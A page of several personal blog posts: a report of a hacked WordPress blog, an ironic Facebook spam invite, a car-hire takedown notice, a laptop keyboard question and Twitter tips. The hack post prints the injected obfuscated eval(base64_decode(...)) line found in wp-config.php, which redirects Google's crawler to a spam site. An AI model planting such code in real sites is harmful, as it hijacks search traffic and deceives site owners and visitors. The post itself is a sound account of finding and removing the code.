Blog hacked? UPDATED

This blog appears to have been hacked somehow.

This is my old blog and apart from a test posting the other day, I hadn’t added any new posts since May 2009.

Blog posts

However, when you view this blog’s feed in Google Reader it appears to be full of spammy posts.

Spammy posts in Google Reader

The spammy posts don’t show up when viewing the blog’s feed in Firefox (or Safari) RSS readers – it seems to be confined to Google Reader somehow.

Feed seen in Firefox

I also checked the backend mysql database and the spammy posts are not there so I’m not sure where they are coming from.

I was using the FeedBurner Feedsmith plugin for handling this blog’s feeds but I deactivated that over the weekend when I first became aware of this issue. I thought perhaps the FeedBurner feed may have been hacked so that if I turned it off, any cached spam posts would be cleared out after a day or so, however it seems to not only have persisted but more posts have been added.

Anyone any idea how this is happening and what I can do to stop it?

UPDATE -

With help from Ewan – I discovered that (after looking around at a lot of other files) the wp-config.php file had been edited. The following line had been added

eval(base64_decode('JGFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZihlcmV
naSgiZ29vZ2xlIiwgJGFnZW50KSl7aGVhZGVyKCJIVFRQLzEuMSAzMDEiKTtoZWFkZXIoIkxv
Y2F0aW9uOiBodHRwOi8vYmFibG8ubWUudWsvIik7ZXhpdCgpO30='));

To be safe, I FTP’d in to the server, deleted the wp-config.php file and uploaded a clean one.

The site is now back to working as expected, apologies to anyone who was exposed to the spammy links.

I’ll now go back over the site again with the proverbial fine-toothed comb to see if I can find any other suspicious changes that were made to it.

Funny FaceBook spam!

Ironic FaceBook Spam

I received this FaceBook invite to a webinar from Chris Abraham of AbrahamHarrison and Jay Jaffe of Jaffe Associates.

This invite was sent to over 2,200 people on FaceBook. Seems like kind of spammy behaviour to me!

Ironically the webinar is on “how to look after your online reputation and why it is important to do so”.

I guess they did this for the “What NOT to do” part of the webinar!

I suppose I received the invite because I chose to accept a Friend request from Chris Abraham back in 2007. This is not the first invite I have received from Chris since then (far from it). The dangers not being selective enough with who you friend on FaceBook, eh?

Dear FaceBook, please put an UnFriend link on invites like this so that with a single click I can insure I don’t receive any more,

Thanks,

Tom.

Etrawler Ltd owner of Car Trawler and Argus Carhire.com could learn a lot from Easycar!

Takedown notice

The letter wants me to remove a comment by a user calling himself Timmythedog on my post about issues I had with car rental company Easycar.

The comment says:

You need to pick and choose – we’ve never had a problem with Easy Car but be aware of Argus Car hire and their supplier National Car Hire. Despite them promising that they ’search the net for the cheapest prices so you don’t have to’ we had an appaling experience with them and National Car Hire at Carcassonne Airport at Christmas 06/07 and they are not recommended!

In summary they downgraded our car without notice from a c class (Focus/Astra) to a Citroen C1 – as four adults with cases and bags we couldn’t fit in the car – it was Dec. 27 and we had no travel alternatives. We had to duplicate trips to get eveyone to our destination with significant inconvenience and cost. We were cautioned by the police for overloading the car on the one occasion that we squeezed everyone in. Our holiday was ruined as we couldn’t really use the car and since then they have refused to refund us the cost of the car (which also had no rear wiper – when we went back to the office to point this out it was closed).

They couldn’t care less, do not man their phones as stated 364 days a year (we couldn’t get them in head office on Dec 27 to see what we could do) and Hertz was cheaper at their own admission. We have tried to speak to Greg Turley – Argus MD but he refuses to return our calls. In conclusion Argus and National overbook, you run the risk of a ruined holiday and neither could care less. Do not use them – they are appalling.

This seems like fair comment to me by someone expressing their opinion after having had a poor customer experience. Etrawler haven’t yet realised, it seems, that people can have negative opinions about your products and services – and worse – they tell others! We can’t have that now, can we?

Etrawler ltd could learn a lot from Easycar – they didn’t issue a takedown notice on my post. Instead their rep Jean Marie came back to my post time and again to tirelessly answer comments by other people who had problems with Easycar’s service. As a consequence my opinion of Easycar (and I suspect many who read Jean Marie’s responses) was completely turned around.

If the Internet has taught us anything it is that companies need to put the consumer in the center of their thinking. Not their brand.

I wonder if I’ll receive a takedown notice for this post now as well.

Sony Vaio keyboard help needed!

Terrible 2's and laptops!

I have a Sony Vaio laptop (model VGN- SZ3VWP). Unfortunately our 2yr old decided a while back that most of the keys on the keyboard were superfluous and he pried them off (see above). He was so proud!!!

There doesn’t appear to be a Sony repair center in Seville – well the only ones I could find were for audio/hi-fi and didn’t want to know about laptops! The keyboard appears to be beyond repair, (though I’d love to have someone tell me otherwise) so I probably need to find some way to get it replaced.

If I could get my hands on a keyboard, I’d have a go at replacing it myself.

Anyone any suggestions on the best way to proceed with this might be?

15 Twitter tips for beginners

A friend of mine has just set up a Twitter account so I wrote him an email with some instructions on how to get the most from it.

Thinking some of the advice might prove useful to others, I genericised it and re-posted it here.

Dunno how well you know Twitter – if I’m teaching Granny to suck eggs, apologies but if you are a noob, read on…!

  1. Start off by posting a few innocuous posts – “trying out Twitter”, “Recently moved to Vancouver, anyone here from Vancouver?”, and some stuff introducing yourself your interests & why you’re using Twitter, e.g. “I hope to learn more about cleantech”, that kind of thing.
  2. Then build up your network. Start with your friends you know to be on Twitter. Start following them. But also look at the list of people they are following. You may know some of them too, if so, add them to the list of people you follow too.
  3. If you precede someone’s username with the @ symbol in a post on Twitter (i.e. “@tomraftery how is it going?”) then your post appears in the Reply tab on their Twitter page. This works whether they are following you or not. When you @reply to someone, they are likely to check out your profile and may decide to follow you. This is a very powerful way to build up your network with people who don’t necessarily know you but with whom you want to connect.
  4. Check out the TwitterGrader page for your area, for instance, if you are based in Andalucia, in the south of Spain, like me, check the TwitterGrader page for Andalucia and you’ll find some interesting people you may want to connect to, to get into the local scene.
  5. Follow some of the people there, check who they are following and talking to (@ replying to) and consider following them too.
  6. Sidenote: if you precede someone’s username with “d ” (i.e. “d tomraftery how is it going?”) this sends a private message only to them – called a direct message or DM. You can only send DMs to people who have chosen to follow you.
  7. Also, don’t be shy about asking your friends to pimp you to their followers!
  8. Then, using Twitter:

  9. On the computer – download & install Adobe AIR (if you don’t already have it installed). Then use either Twhirl or TweetDeck for posting/reading posts. I prefer TweetDeck. The Twitter web interface is still prob the best for checking people’s profiles and seeing who they follow.
  10. On the iPod Touch/iPhone use Twitterfon, on Blackberry I hear Twitterberry is good and
  11. On any other phone use dabr.co.uk – a web based mobile Twitter client
  12. Always remember, if you @reply someone looking to get their attention or hoping they will follow you, they will likely click through to check out your Twitter page. There are many bots on Twitter so to weed out real/interesting users from bots I always look at a persons most recent posts to see what they are talking about (if their posts are all links to one site, forget it!), I look at the number of people they follow vs the number of people following them. If they are following 1,000 say and have very few followers, it is a sure sign that they are a bot who just auto-followed lots of people.
  13. I also check out what the person says about themselves in the bio and click on their site, if they have one.
  14. If you want people to follow you, then ensure your updates are not protected. Someone coming to your Twitter page and seeing Protected Updates is very unlikely to decide to follow you.
  15. Purely a personal preference, but I think it is far better to use your own name on your Twitter account than some handle. It is a matter of personal branding but to my mind, a Twitter account called @JohnDoe tells me more about the user than @stargazr49!
  16. Finally, a photo is also very important on your account, be sure to add one to your profile
  17. BONUS EXTRA TIP!!! – Use your Twitter username everywhere – add it to your email sig, put it on your business cards, leave it in blog comments – don’t spam, just do it where appropriate.

Hope some of that is useful!

If there are any other tips I missed out on, feel free to add them in the comments…

Post updated after helpful feedback from JAdP and RichWalsh on Twitter!